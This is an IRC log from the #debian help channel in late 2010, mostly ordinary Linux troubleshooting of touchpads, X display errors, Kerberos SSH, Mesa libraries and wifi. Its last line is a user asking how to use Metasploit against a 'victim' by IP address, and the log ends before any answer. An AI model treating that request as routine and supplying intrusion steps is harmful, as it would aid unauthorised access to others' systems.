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---Logopened Thu Nov 25 00:00:03 2010
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00:00<dyaval>hmmmm any suggestions for a wifi manager?
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00:01<celtic>dyaval: NetworkManager? i.e. the default
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00:04<dyaval>how do I launch that from command line?
00:04<celtic>not sure! I've only had experience with it in GNOME
00:05<dyaval>running kde atm and it wants to be admin in order to let me chnage stuff :(
00:07<dyaval>but no admin button cause resolution is so low
00:09<dyaval>so off beat question skype and linux?
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00:13<dyaval>nm switched back to gnome for now and it connected np
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00:14<dyaval>now back to the pesky mouse
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00:15<dyaval>but I think lenny's graphic is my fav so far!
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00:30<k-man>after updating squeeze, now X does not start, it gives me an error about nvidiea
00:30<k-man>(EE) NV: Kernel modesetting driver in use, refusing to load
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00:36<dyaval>gsimmons: do you have any exp with getting the mouse to work?
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00:42<one_solo>Hi, Debian hackers.
00:43<one_solo>How's upgade going?
00:44<one_solo>meant "upgrad"
00:44<celtic>no problems yet ...
00:44<celtic>not for me, anyway :)
00:44<one_solo>Wish I could type tonight.
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00:45<one_solo>If it's your home pc why not?
00:45<celtic>well, exactly. although some people need their home pcs
00:45<one_solo>Yeah, I hear you there.
00:46<one_solo>Anybody knows how many fsf employees there are?
00:47<celtic>fsf employees in general, or re: debian?
00:47<one_solo>fsf general
00:48<celtic>good question! maybe ask them? ;-) says 11.
00:48<celtic>but this is kinda off-topic here
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00:49<one_solo>Agreed. I was just watching a video about euro fsf and got curious. Thanks.
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00:58<one_solo>I'm out. Take care guys!
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01:03<dyaval>my mouse still doesnt work
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01:03<dyaval>im so frustrated
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01:05<nasuta>why dyaval?
01:06<dyaval>its a weird one on a hp mini 210-1070nr and I tried following the instructions on ubuntu's forums but they are'nt working
01:07<nasuta>exotix mouse?
01:08<dyaval>its a multitouch pad that uses zones for buttons
01:09<nasuta>:- |
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01:09<nasuta>good luck
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01:10<alanhaggai>Hi. I do not know why, but /etc/network/interfaces is not honoured by my Debian squeeze/sid on a boot, or when networking is (re)started. What might be the issue?
01:11<nasuta>dyaval: as root: # echo options psmouse proto=exps > /etc/modprobe.d/psmouse.modprobe the reboot
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01:14<dyaval>mouse stops working
01:14<celtic>dyaval: you've been there before ;)
01:14<celtic>night all!
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01:14<nasuta>dyaval: reboot, then should it work
01:15<nasuta>dyaval: and have a look here
01:15<dyaval>err well I tried that command earlier and rebooted and it stopped working lol thats what made me come in here in the first place :D
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01:17<dyaval>ooo but the link is new gonna read threw that
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01:18<nasuta>sorry, dyaval another patch
01:18<nasuta>no the same
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01:20<dyaval>well synaptics was replaced by tp something or other
01:20<dyaval>just got that installed lets see what happenes
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01:24<dyaval>tpconfig was installed
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01:34<nasuta>hi Torsten_W
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01:58<murali>how are you
01:58<dyaval> nasuta tnx dude you got me on the right path
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01:59<nasuta>what is the solution?
01:59<nasuta>what work for you?
02:00<dyaval>installed tpconfig the xserver synaptics package for squeeze and rewriting the xorg.conf files :D
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02:08<dyaval>crossing my fingers here lol
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02:14<dyaval>wooo hooo
02:14<dyaval>it failed because of
02:15<dyaval>MatchIsTouchpad "yes" and Section "InputClass" removed match is touchpad and changed "inputclass" to "inputdevice" and it works!
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02:16<dyaval>now I gotta find that clickpad package cause mine is a clickpad
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02:16<dyaval>but the click doesnt work but the right click scroll and multi touch zoom and scrolls work
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02:24<dyaval>id have to update my kernel for that and I dont feel like it thanks for all the help and fish guys night
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02:24<mjt>synclient TapButton1=1
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02:25<mjt>try that first :)
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02:26<dyaval>o great my monitor doesnt resume from sleep mode "i.e. closing the lid" oye
02:26<dyaval>I will get it working !
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02:27<dyaval>do I add that to the xorg or just type it in?
02:29<mjt>please read /usr/share/doc/xserver-xorg-input-synaptics/NEWS.Debian.gz
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02:34<dyaval>lots of changes anything in particular?
02:35<dyaval>see in mycase I think half my problem is that SHMConfig is not starting correctly even though its set in xorg.conf
02:37<mjt>only 2 changes listed in that file
02:37<mjt>shmconfig is gone
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02:38<dyaval>I must be runing an older version then im running lenny if that helps
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02:38<dyaval>the last entry in my file is from 2006
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02:40<mjt>ok, yes, i'm running squeeze and that file list a change made in 1.1.1 version of the driver, Apr-2009.
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02:41<dyaval>yeah I was gonna move to squeeze tomorrow mornin cause im tired and it seems as though most of my touchpad probs would go away if I did :D
02:41<mjt>anyway. please run in a terminal: synclient -l | grep TapButton
02:42<dyaval>Can't access shared memory area. SHMConfig disabled ?
02:42<dyaval>well thats what I get for any synclient query
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02:42<mjt>yeah got it
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02:43<dyaval>any idea whats going on?
02:43<dyaval>my guess is my drivers are outdated...
02:44<mjt>not anymore. It was too long ago to remember... ;)
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02:44<dyaval>lol kk well I think im running like 2.6.26 and they solved it from 2.6.32 on
02:44<mjt>this TapButton thing will hit you too in squeeze
02:45<dyaval>damn HP
02:45<dyaval>and their multitouch touchpads!
02:45<mjt>hp? it has nothing to do with hp
02:45<dyaval>I know but I hate hp laptops
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02:45<dyaval>I got this one for 50$ tho so I couldnt say no
02:46<mjt>and multitouch touchpads are nice too
02:46<dyaval>I would rather have 2 buttons and a normal touchpad less headache
02:46<mjt>you can run 2.6.32 from backports just fine
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02:46<dyaval>yup I think so 2
02:47<dyaval>thanks tho and night.
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02:59<compaq> Anyone can help me with apache2 and php5. I installed them fine. but when I point to a php file in /var/www it offers to save or open with, instead of showing it in the browser window
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03:01<compaq>maybe I just need a reboot
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03:09<dangerous>Could anyone tell me how long gparted could be expected to take to create a new ext3 filesystem on a 12TB filesystem? I've had some troubles getting it to work and it died very quickly, but this time (having unplugged some other drives and fiddled about) it seemed to be doing it as it went much longer and I could hear lots of drive activity. However, now I don't hear much but it still seems to be going.
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04:35<oni>I got a problem... I re-installed iceweasel and now its giving me cannot open display
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04:36<mjt>the same will tell you any X application
04:36<oni>but what do I do?
04:37<mjt>probably re-login
04:37<oni>did that
04:38<mjt>how do you run iceweasel?
04:38<oni>from consol
04:38<Efreak>type icewea and hit tab?
04:38<mjt>so run it from the menu
04:38<oni>says no protocol specified, then cannot open display 0.0
04:38<Efreak>ignore me
04:38<oni>doesnt work from menu either tho :(
04:39<mjt>what _does_ work?
04:39<oni>I did an apt-get remove and install on it and gnome-support for it cause I messed it up
04:39<oni>everything else
04:39<oni>iceweasel was working prior to the re-install
04:39<mjt>how about, say, icedove?
04:39<oni>o but epiphany doesnt work
04:40<oni>dont have that installed
04:40<mjt>xterm or gnome-terminal?
04:40<oni>but it was working now i cant get to safe-mode or anything
04:41<mjt>the message (can't open display) comes from a library which is used by _all_ applications which works with X windows. It means the library can't communicate with the X server.
04:41<mjt>so does xterm or gnome-terminal work?
04:42<oni>xterm doesnt
04:42<mjt>there you go
04:42<oni>gnome-terminal does
04:42<oni>how do I fix xterm tho?
04:42<mjt>my guess is you've your /home filesystem filled up
04:43<oni>250gb's? I think not
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04:43<mjt>you don't fix xterm or iceweasel or any specific program because the problem is elsewhere
04:44<oni>o xterm only doesnt work as root btw works fine as normal user
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04:44<jm_>don't run iceweasel as root anyway
04:44<oni>iceweasel just doesnt work
04:44<mjt>ok, unless you actually answer the guestions, there's no reason to continue this
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04:44<mjt>i asked how do you run iceweasel.
04:45<mjt>"from console" - i assumed it's your xterm (or gnome-terminal, whatever) running as regular user
04:45<oni>in gnome-terminal as normal user usually but that just gives me a command line
04:45<oni>I get an error as root
04:45<oni>nothing at all as reg
04:45<mjt>it does not work as root.
04:45<oni>did before
04:45<mjt>so that bug is now fixed
04:46<oni>well still doesnt work as reg usuer
04:46<mjt>please define "does not work"
04:47<oni>the command does nothing its like hitting enter without typing anything in
04:48<oni>just get a oni@...:
04:48<themill>trying something other than iceweasel would be a good plan
04:48<oni>but it was working just fine! is the headscratching dilema
04:48<oni>and I like iceweasel / firefox
04:48*mjt gives up
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04:49<oni>yeah I wish i was better at this whole thing... ima go try installing an older package
04:49<themill>oni: if iceweasel is already running somewhere then it won't necessarily start a new copy for you.
04:49<themill>try something different
04:50<oni>but its not running
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04:50<oni>I just installed a fresh copy
04:50<themill>(how about trying any of the things people have suggested)
04:50<oni>well no one has suggested how to fix iceweasel yet...
04:51<themill>we're trying to work out the problem and you are providing precisely zero information
04:51<oni>I have used konquror to search for answers but other then a very long bug report no answers
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04:51<mjt>themill: don't you see, he loves to have problems :)
04:51<themill>mjt: oh yes. And I have more important things to do today.
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04:52<oni>Error: cannot open display: :0.0
04:53<oni>that is exactly the error I get, and I dont like having porblems I just dont know what else you would like... my echo $DISPLAY gives me 0.0...
04:54<devil>does: grep EE /var/log/Xorg.0.log return anything?
04:56<mjt>devil: the X server is running, desktop is shown, gnome stuff already works ;)
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04:56<oni>I get loading extension mit-screen-saver
04:56<devil>mjt: i know. just fishing around
04:56<devil>oni: ok, not related
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04:57<oni>didnt think it was, honestly I think I gotta rebuild the dependency list for iceweasel...
04:57<oni>to make sure there arent any corrupt lib's etc... but I dunno how....
04:58<mjt>dpkg -s iceweasel | grep Depends:
04:58<dpkg>Badgers ate my iceweasel | grep Depends:!
04:58*themill predicts either running as the wrong user or .Xauthority being owned by root
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04:58<mjt>or not enough space in /home
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04:59<oni>but my home is in the same partition as everything else and I have 237gb of free space
04:59<mjt>but the dependency list will keep him busy for a while ;)
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05:01<oni>nope I own .Xauthority
05:02<oni>and I am the only user other then root on machine :(
05:02<mjt>btw, who sets $XAUTHORITY ?
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05:05<mjt>it can't set environment variables since it does not spawn processes
05:05<dannyanny>Hi jm_
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05:07<oni><--- wishes he were smarter
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05:08<dannyanny>Loading /live/vmlinuz is taking a long time. Is that nornal?
05:08<jm_>dannyanny: not normally no
05:09<oni>it loads next to instantly on a 120mhz machine so I dont think so...
05:09<mjt>/live is a cd-rom?
05:10<oni>loads to ram
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05:10<dannyanny>Hmm, I am using that Debian Live CD on my other PC, which the PC is not working because the DATA cable for the harddrive is not working. But yesterday the CD was working in the CDCOM
05:10<oni>sounds hardware to me... pata or sata?
05:11<mjt>it takes time to read data from a cdrom. especially with a bad cable :)
05:11<dannyanny>I have to buy a new cable and blank cd's
05:11<oni>hmmm enhanced ahci ide or compatability mode?
05:11<mjt>but it really depends on how long is "long"
05:11<mjt>it shouldn't take more than ~30 sec
05:11<dannyanny>I have Ubuntu on this PC, but I use XP to connect to get online
05:12<oni>i'll agree with mjt although he has a short fuse
05:12<mjt>or you may have an unreadable/scratched cdrom
05:12<oni>in the bios its set to ide?
05:12<mjt>it does not matter if it's ide or ahci or raid mode
05:12<oni>is this an intermiten problem?
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05:12<oni>sure it does if he's using an older live distro
05:12<dannyanny>It look a little dirty, I need to clean it, I just wanted to practice a unix.
05:13<pc-moon>hello , hope all is fine
05:13<oni>really sounds like an overheating issue or ram or ps to me
05:13<pc-moon>i have big problem about my self
05:13<dannyanny>The bios says that harddrive is missing,
05:13<mjt>oni: older or new, the _time_ to _read_ is the same
05:13<pc-moon>i use ubuntu
05:13<mjt>it may break later but not when loading kernel
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05:14<pc-moon>my problem is gnome is crashed
05:14<oni>mmm but you see I was wondering if the driver crashed while it was reading or something
05:14<pc-moon>i wanna slove this problem
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05:14<mjt>!tell pc-moon -about ubuntu
05:14<ch1>can any to tell what to do to fix the GNOME bugs
05:14<oni>ahci has a tendency to do that
05:14<dannyanny>The funny thing is that I was able to install Ubuntu on this PC eventhough it was a live cd
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05:15<pc-moon>i can't by CD or DVD
05:15<oni>antix is my fav live linux
05:15<dannyanny>Eventually, I want to replace ubuntu with Debian
05:15<pc-moon>i think found some code in command line for return gnome
05:15<dannyanny>great name pc-moon
05:15<oni>hope you can rtfm google is awesome etc...
05:15<ch1>i want to know about what are the essential things to fix the bugs in gnome
05:16<pc-moon>frankly i wrote
05:16<oni>x is a complicated anoying beast !
05:16<pc-moon>sudo apt-get install kubuntu-desktop
05:17<pc-moon>for repare gnome from kde
05:17<oni>no thanks I like kde but mostly I just use command line
05:17<pc-moon>but no resault
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05:17<dannyanny>Ok I rebooted the Live CD, I have a choice to select from
05:17<pc-moon>i need download ubuntu for get CD live
05:18<dannyanny>Wouldn't Live (failotsafe) give me a BASH shell?
05:18<oni>if it freezes again run a mem test and if it freezes on that without error's look at the cap's on your mb
05:19<dannyanny>pc-moon I got my ubuntu from a linux magazine, not sure if all unbuntu live cd have installers
05:19<oni>they do
05:19<oni>all live disc's that I have run accross can once booted install themselves onto a the system
05:20<dannyanny>Well, thats what i thought when I bought my Debian 5 Live CD, but no installer
05:20<oni>you bought it?
05:20<oni>and doesnt it act as a net installer? I coulda sworn...
05:20<dannyanny>Yeah, I paid very little for it on ebay. I just a linux newbie
05:21<pc-moon>please help , i'm web develper my work in computer please
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05:21<oni>pc-moon: gnome crash or your just stuck in kde?
05:22<pc-moon>but how
05:22<pc-moon>run kde
05:22<dpkg>Ubuntu is based on Debian, but it is not Debian, and it is unlikely to live up to Debian's standards (see <Debian policy>). Only Debian is supported on #debian. Use #ubuntu ( instead. Even if the channel happens to be less helpful, support for distributions other than Debian is offtopic on #debian. See also <based on debian>.
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05:22<pc-moon>i pressed ctrl+alt+f2 for write in commndline
05:23<oni>yay iceweasel 3.5 works.
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05:24<pc-moon>frankly i dont know how open ubuntu from number of chat or link
05:24<pc-moon>i use xchat
05:25<oni>are you running debian? and I think mjt was "suggesting" you use ubuntu as it is much uhhh forgiving
05:25<mjt>he's running ubuntu
05:26<mjt>which is not supported in #debian
05:26<oni>nm then lol
05:26<pc-moon>i use ubuntu in another computer
05:27<oni>well im updating a bunch of lib packages ima go smoke... darn weird iceweasel 3.0 just wouldnt work :*(
05:28<dannyanny>Do drivers have to be update often in Debian?
05:33<oni>themill: you meant iceweasel sucks right?
05:34<themill>no, I mean it's not very good as a diagnostic tool for xauth problems
05:34<themill>that's why several people asked you to try some other program instead.
05:34<oni>but nothing else is giving me xauth problems
05:35<oni>err well was
05:36<dannyanny>darn I washed the cd and the lable is still wet
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05:47<jm_>dannyanny: ubuntu has a 6 months release cycle
05:48<dannyanny>Does that mean an upgrade every 6 month?
05:49<dannyanny>Cool, Debian is loading on the other pc
05:49<jm_>more or less
05:49<jm_>they also have LTS releases
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05:50<dannyanny>No wonder after I got the ubutu cd, the cd/dvd drivers needed to be update
05:50<jm_>that's part of the kernel
05:51<dannyanny>So, how often Debian is released?
05:51<jm_>!release dates
05:51<dpkg>it has been said that release dates is Debian Release Dates: 0.93R6 1995-10-26, 1.1 "buzz" 1996-06-17, 1.2 "rex" 1996-12-12, 1.3 "bo" 1997-06-05, 2.0 "hamm" 1998-07-24, 2.1 "slink" 1999-03-09, 2.2 "potato" 2000-08-15, 3.0 "woody" 2002-07-19, 3.1 "sarge" 2005-06-06, 4.0 "etch" 2007-04-08, 5.0 "lenny" 2009-02-14
05:52<dannyanny>Not sure what LTS releases are. But it sound like something more basic to have
05:52<jm_>long term release
05:53<jm_>long term support even
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05:53<dannyanny>Then which ver of Debian is LTR
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05:53<themill>(or "all", depending on how you look at it)
05:54<jm_>yes I guess
05:54<dannyanny>Thanks for the info
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05:55<dannyanny>This is weird, Debian 5 loaded, I see the regular desktop screen, but no menu items
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05:56<dannyanny>cd could be damaged
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05:58<dannyanny>ok, the pc is frozen
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06:04<SingAlong>hi all
06:05<SingAlong>I installed the debian via the net install ISO. when I do aptitude install firefox it doesnt install firefox. (I assume that when i install a pkg it would install the dependencies too)
06:05<SingAlong>which in this case would be X and Gnome/KDE. Am I thinking the right way?
06:05<koollman>SingAlong: aptitude install iceweasel
06:05<SingAlong>koollman: whats that?
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06:06<koollman>SingAlong: that's what you need
06:06<dpkg>Iceweasel is a DFSG-free fork of Firefox, which replaces it in Debian as of Etch. It is not GNU's Firefox fork (now known as <IceCat>). Ask me about <why iceweasel> and <iceweasel user-agent>. Use gnome-default-applications-properties to change settings such as the mail reader.
06:06<dannyanny>jm_ It seem the cd works better when I do a cold boot.
06:07<SingAlong>!why iceweasel
06:07<dpkg>Due to Mozilla logos licensing, Mozilla software isn't DFSG-free, so Debian distributes Mozilla software with different logos. One day Mozilla Corporation decided to revoke the agreement to let Debian use Mozilla trademarks, so Debian changed to non-trademarked product names. See for more information. Ask me about <dfsg>.
06:07<dpkg>DFSG is the Debian Free Software Guidelines, which are explained at . For a full list of DFSG-compatible/incompatible software licenses, see
06:10<rpetre>!qq 226
06:11<rpetre>sorry, wrong chan :)
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07:08<SingAlong>i'm installing debian from the net-install. And downloaded firefox on it. How do I install X-server for it to run? the pkg name please.
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07:12<hever>Where is logrotate started and how can I restart it? It's not in the root crontab and it's no service...
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07:15<hever>ah its in cron daily
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08:31<grohne>hi. do you know a channel about kerberos/openssh-gssapi? since upgrading to squeeze I can no longer log in and seek help to debug it.
08:31<grohne>unfortunately gssapi tries hard not to tell too much about what is actually going wrong
08:31<mjt>maybe #kerberos (on freenode) ?
08:32<grohne>mjt: will try
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08:33<the-dude>grohne: what does it say?
08:33<grohne>the-dude: No such file or directory
08:33<grohne>the-dude: and yes it omits what file that is
08:34<the-dude>grohne: you are trying to setup a ssh session with kerberos authentication?
08:35<grohne>all details can be found at #604925. I am trying to use my kerberos ticket to log into a ssh server. this all worked very well until I upgraded the ssh server to squeeze.
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08:39<the-dude>grohne: could you pastebin your krb5.conf aswell?
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08:41<grohne>the-dude: ok. takes a bit. I need to anonymize it.
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08:43<EmleyMoor>My laptop, which runs squeeze and has an iwlagn-supported wireless card, seems to be difficult to connect or keep connected to my network. No obviously bad things in dmesg other than the connection timing out. When connecting, it sometimes fails and reprompts for the passphrase. It doesn't seem significantly better in the room with the AP either
08:43<EmleyMoor>Any reason why this would be? Under lenny with a backported kernel it seemed much more reliable
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08:46<abrotman>EmleyMoor: network-manager involved?
08:46<EmleyMoor>My personal guess would be that there are a heck of a lot of access points in range... does that sound a plausible reason?
08:47<EmleyMoor>abrotman: Yes, though open to suggestions on how to get round it if it may help
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08:48<abrotman>EmleyMoor: you oculd try other channels on the router .. my iwlagn also randomly drops .. but doesn't really seem to drop, i can't explain it
08:48<EmleyMoor>iwlist wlan0 scan does not always show my AP - or in some cases any at all
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08:48<grohne>the-dude: once it passes greylisting it should show up on the bug log as well.
08:48<EmleyMoor>I have tried every channel and then some
08:48<abrotman>sub channels?!
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08:49<EmleyMoor>abrotman: I don't think I can do sub channels
08:49<abrotman>it was a joke "every cahnnel and then some"
08:49*EmleyMoor has been thinking of adding 802.11a
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08:49<the-dude>grohne: ok will check later
08:49<abrotman>EmleyMoor: i doubt your iwlagn does 11a
08:50<grohne>the-dude: I'll try to notify you when I see it. thanks for looking into it!
08:50<EmleyMoor>abrotman: It does
08:50<abrotman>freaky card
08:50<the-dude>grohne: thats even better :)
08:50<EmleyMoor>Quite normal for a 5100
08:50<grohne>the-dude: well I'm asking for help, so it's my duty to do so. :-)
08:50<abrotman>i think that's what i have ...
08:51<grohne>the-dude: meanwhile trying to find out what file it looks for using strace..
08:51<abrotman>03:00.0 Network controller [0280]: Intel Corporation Ultimate N WiFi Link 5300 [8086:4236]
08:51<abrotman>close enough
08:52<grohne>the-dude: open("/usr/lib/krb5/plugins/authdata", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
08:52<EmleyMoor>My work laptop, which runs Windows XP (!), has a similar card and seems much more reliable
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08:53*abrotman still isn't sure that n-m isn't to blame
08:53<EmleyMoor>abrotman: I will be visiting someone over the weekend - if it flakes out there too, it may be n-m
08:54<EmleyMoor>(if so, I will have to come up with another way that can look after itself)
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09:01<grohne>the-dude: *ping* (krb5.conf)
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09:02<the-dude>grohne: thx :)
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09:05<mihau>hello, I compiled latest intel and mesa drivers, but glxconfig says the system uses older mesa drivers (7.7.1)
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09:05<grohne>the-dude: hmm. this actually is *some* bug in krb, because the source defines LIBDIR "/krb5/plugins/authdata" and requires it to be openable
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09:09<the-dude>grohne: which bugreport?
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09:21<mihau>Does anyone know how to force the system to use the drivers that were compiled by me?
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09:22<grohne>mihau: does that mean you have two versions installed (with the same name)?
09:22<mihau>i guess so
09:22<grohne>oh. x drivers, not kernel drivers
09:22<grohne>no clue, sorry
09:22<mihau>k, no problem
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09:23<grohne>mihau: anyone who wants to answer that question probably request a Xorg.log
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09:24<mihau>Here it is:
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09:33<mihau>Ok, i blieve, after checking the Xorg.0.log , that ma mychine uses xfree86 drivers compiled by me, but still, glxinfo shows, that it uses the older one
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09:46<flor>mihau: maybe you compiled only the driver and not the libgl
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09:48<mihau>flor, i have compiled all, I believe
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09:55<flor>mihau: did you install the libgl in /usr/lib ?
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09:56<mihau>well, i did ./configure without any parameters
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09:56<mihau>then make and make isntall
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09:57<grohne>mihau: that'll probably place them in /usr/local/lib. since both are present it depends on the library search path
09:57<grohne>mihau: you could try forcing it using LD_LIBRARY_PATH or even LD_PRELOAD
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09:59<mihau>grohne, yep, lib files are in both folders
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10:00<grohne>mihau: iirc /usr/local/lib should be preferred by default.
10:00<grohne>mihau: try ldd
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10:02<grohne>this kerberos stuff is damn hard to debug. :-(
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10:05<the-dude>grohne: yeah I remember that :(
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10:05<grohne>the-dude: if you don't have any more ideas about what I could try (just ideas, I can probably figure out a few things myself) I'd give up and wait for maintainer response.
10:06<mihau>grohne, /usr/lib has more "stuff" than /user/local/lib
10:06<jmiddleton>hmm thats odd i changed the default from 0 to 3 but it still booted Ubuntu by default
10:06<grohne>mihau: yeah /usr/lib is what debian installs and /usr/local/lib is what you installed with configure make install
10:07<mihau>grohne, so how should I install it, so the system uses my instalation?
10:07<grohne>the-dude: for instance I have not yet found a way to raise some message level for kerberos.
10:07<grohne>mihau: in theory what you did is correct, because /usr/local should be preferred.
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10:09<mihau>grohne, but in practice?
10:09<the-dude>grohne: are you able to use your ticket for other stuff?
10:09<grohne>mihau: 16:00 < grohne> mihau: try ldd
10:09<grohne>the-dude: you mean like logging into debian lenny ssh servers?
10:10<the-dude>grohne: no use it for other authentication? like browsing or samba or so ?
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10:10<DoeNietWil>coul someone help me?
10:10<DoeNietWil>is this safe?
10:10<DoeNietWil>sudo apt-get remove mercurial libasound2-dev libcurl4-openssl-dev libnotify-dev libxt-dev libiw-dev mesa-common-dev autoconf2.13 yasm
10:10<grohne>the-dude: uhh. in theory I should be able to authenticate to the otrs, but I failed at that so far. so the answer is no.
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10:11<the-dude>grohne: that use to work with stable ?
10:11<mihau>grohne, how do I know whis is newer?
10:11<grohne>DoeNietWil: depends on your definition of "safe"
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10:11<DoeNietWil>so that it doesn't any packages ubuntu needs
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10:12<grohne>the-dude: uhm. no. the otrs never worked for me. so far I have really only used krb for ssh.
10:12<grohne>the-dude: others are using krb from mac os x successfully to both ssh and use otrs. and they fail, too, on the squeeze-upgraded ssh server.
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10:13<grohne>the-dude: this is still kind of roll-out phase for krb. :-/
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10:13<mihau>grohne, ldd gives some output ended in hex values
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10:13<grohne>mihau: does it include a /usr/local line?
10:14<grohne>DoeNietWil: ubuntu is #ubuntu iirc. how about aptitude markauto?
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10:14<mihau>grohne, hmm, could you type a exact command, cause i used it on a specific files
10:15<DoeNietWil>grohne i guessed that the debian people would be more experts about this
10:15<grohne>mihau: ldd is used to determine what libraries a program loads. so you are inspecting glxinfo. -> ldd /usr/bin/glxinfo. you can pastebin it
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10:17<grohne>mihau: so as you can see it is using your custom libdrm but system libGL
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10:17<mihau>grohne, how to change it?
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10:18<grohne>mihau: did you compile a libGL?
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10:19<mihau>i compileg mesa and mesaglut packages
10:19<grohne>DoeNietWil: ubuntu has quite some changes to debian that are unknown to most debian users and developers, so better try asking on #ubuntu next time.
10:19<mihau>grohne, both from here:
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10:20<grohne>mihau: I have no clue whether they contain libGL. maybe you can find out that?
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10:21<mihau>find: `libG*': Nie ma takiego pliku ani katalogu - no files libG* found in mesa source dir
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10:23<mihau>after find /home/mihau/Desktop/Mesa-7.9/ libG*
10:23<grohne>the-dude: hmm. hartmans@d.o already answered. unfortunately his answer didn't contain any news to me. seems like he is out of ideas, too. :-/
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10:27<mihau>grohne, i guess that the command is wrong
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10:30<the-dude>grohne: which kerberos server do you get your ticket from?
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10:31<grohne>the-dude: good question! I have no access to it, but know it to be some mac os x machine running some ldap.
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10:33<the-dude>grohne: could you try something? try adding allow_weak_crypto = true to /etc/krb5.conf under [libdefaults] , then destroy your ticket and get a new one, and try again
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10:34<grohne>the-dude: on the client?
10:35<the-dude>grohne: yes
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10:36<grohne>the-dude: no change
10:36<the-dude>grohne: :(
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10:44<juanluis>adelante arceus
10:44<juanluis>arceus hipe
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10:46<juanluis>bob esponja bob esponja bob esponja bob esponja ya yego
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10:49<mihau>grohne, anyidea where can I find libGL package, that would make my machine use latest mesa drvier?
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10:50<mihau>grohne, anyidea where can I find libGL package, that would make my machine use latest mesa drvier?
10:50<mihau>grohne, sry, havent seen my previous msg ;p
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11:00<dominick>hi! I'm using squeeze. I have two questions about using wifi! Firstly, I've used the lines "auto wlan0","iface wlan0 inet dhcp" "wpa-ssid ABC" "wpa-psk XYZ", and connect using "ifup wlan0". In other laptops, this would disable managing the network through the nm-applet, but my nm-applet is still showing APs and allowing me to join them. What's the problem?
11:00<dominick>hi! I'm using squeeze. I have two questions about using wifi! Firstly, I've used the lines "auto wlan0","iface wlan0 inet dhcp" "wpa-ssid ABC" "wpa-psk XYZ", and connect using "ifup wlan0". In other laptops, this would disable managing the network through the nm-applet, but my nm-applet is still showing APs and allowing me to join them. What's the problem?
11:01<dominick>~err... sry! Didn't mean to repeat!
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11:09<jacks_lt>anyone here with experience with thinkpads and docking stations?
11:09<jacks_lt>eg when can I plug my laptop in and out?
11:10<jacks_lt>is it possible to plug it in and/ or out when the laptop is already running?
11:10<mAniAk->it is on hp laptops
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11:10<jacks_lt>ok, anyone who knows how this is with lenovo thinkpads?
11:11<amarprasovic>hello, i need help installing incremental backup on lenny
11:11<amarprasovic>i want to use iSCSI device as target
11:11<grohne>mihau: no
11:12<abrotman>jacks_lt: what happens if you tr yit ?
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11:12<mihau>grohne, thanks for all your help, get to go, take care
11:12<jacks_lt>abrotman: I am a bit scared to try it, without knowing it can't harm
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11:14<zeev>Hi, I try to install gitolite according to this tutorial: using DEB package method and run into problems with the first step - su - gitolite . What password am I supposed to enter here? root's password didn't work
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11:14<abrotman>jacks_lt: boot into single user mode, give it a whirl ..
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11:17<amarprasovic>anyone with ideas on what software i can use to make backup on iSCSI?
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11:18<Winand>Anyone in here who has experience setting up a Jabber server?
11:18<jacks_lt>abrotman: hmm there should be people here with a lenovo thinkpad and a docking station right? ...
11:18<grohne>Winand: kind of broad question...
11:18<abrotman>i have a lenovo thinkpad .. i don't have a docking station
11:18<dpkg>[thinkpad] one of the best laptops you can buy, or a thing that dies when your car hits it, according to abrotman. Some models restrict MiniPCI card use, see . See also <hdapsd>, <martian>, <mwavem>, <slmodem>, <synaptics>, <tpb>, <trackpoint>. ##ibmthinkpad on
11:19<Winand>Sorry. I'm trying to set up a Jabber server... and i'm unable to configure it.
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11:21<amarprasovic>@Winand try openfire
11:21<grohne>Winand: maybe you could tell which jabber server you are trying to configure.
11:23<Winand>I'm using Jabberd14 on Ubuntu. Openfire uses to much mem for my purposes.
11:24<Winand>I got it sort of working after an apt-get. But after configuring it, it just breaks
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11:24<Winand>I can login, but it gives an error.
11:24<grohne>Winand: this is not windows. error messages do have meanings.
11:25<Winand>I know but i can't make anything of it.
11:25<Winand>Just a moment
11:25<cahoot>this isn't even ubuntu
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11:26<Winand>I know. But on debian it almost the same
11:26<tash>!es monikilla
11:26<dpkg>monikilla: Este canal es de soporte tecnico en Ingles para Debian. Si prefiere que el soporte sea en espanol, por favor ingrese a #debian-es con /join #debian-es tecleado en la linea de chat
11:27<grohne>Winand: so you conclude that since you do not understand the error, it is useless?
11:29<Winand>I'm not saying it's useless
11:29<Winand>I'm looking for it
11:30<monikilla>I DON'T LIKE HELP
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11:30<monikilla>where are you?
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11:31<grohne>monikilla: maybe try #debian-offtopic?
11:31<monikilla> I am your friend
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11:33<grohne>the-dude: btw. I can login into the otrs now. I had to change some fire^Wiceweasel about:config settings...
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11:35<abrotman>amarprasovic: i'm not sure why the iscsi part matters
11:35<the-dude>grohne: ah yeah I remember I had to adjust them aswell
11:36<amarprasovic>well it doesn't, just an extra info
11:36<amarprasovic>any ideas on software i could use?
11:36<abrotman>FWIW, lots of people aren't around, it's a US holiday today .. you might have better luck tomorrow or next week
11:36<abrotman>amarprasovic: it depends on what kind of backup you want
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11:37<amarprasovic>abrotman, i have two nodes in active/passive mode sharing a drbd disk
11:37<amarprasovic>i am looking for best possible solution to backup that shared device
11:38<jmiddleton>hey guys i just installed ubuntu along side windows xp, however I am trying to get Grub2 to have Vista be the default OS so that they can get used to Ubuntu before making a full switch
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11:38<jmiddleton>I tried editing /etc/default/grub and setting the default item to item 3 but it still highlights Ubuntu as the default. Any thoughts?
11:38<abrotman>jmiddleton: i think you want #ubuntu on
11:39*grohne looks at the channel name and then at jmiddleton question...
11:39<cahoot>...unless he wants debian as feault
11:39<jmiddleton>oh i am so sorry I thought I was there :)
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11:39<abrotman>almost .. the spelling is similar
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11:41<Winand>When I'm trying to telnet to my jabber server i get this error: <stream:error><conflict xmlns='urn:ietf:params:xml:ns:xmpp-streams'/><text xmlns='urn:ietf:params:xml:ns:xmpp-streams' xml:lang='en'>Disconnected</text></stream:error></stream:stream>
11:41<Winand>It's a XML error ofcourse
11:43<ansgar>Winand: Ubuntu is supported in #ubuntu on
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11:44<Eni>hii all
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11:46<newman555>how to find out what process is using some directory? I get that "cannot remove...device or resource busy"
11:47<Eni>ahhhhhhh.....i have same prob too hahahahaha
11:47<amarprasovic>it was something with fuser
11:47<Eni>what are u using? backtrack4?
11:47<amarprasovic>there are options to see wich program is using the partition
11:48<Eni>yes yes
11:48<Eni>try this maybe will help you! apt-get install application-watcher
11:49<Eni>try it!
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11:51<newman555>I tried with fuser, but it returns nothing
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11:53<newman555>any ideas? I also tried "fuser -km /dir_name" but after that I still cant delete directory
11:53<Eni>how can i setup an metaspoit to connect with any user when i know the victim IP adress????plsss help
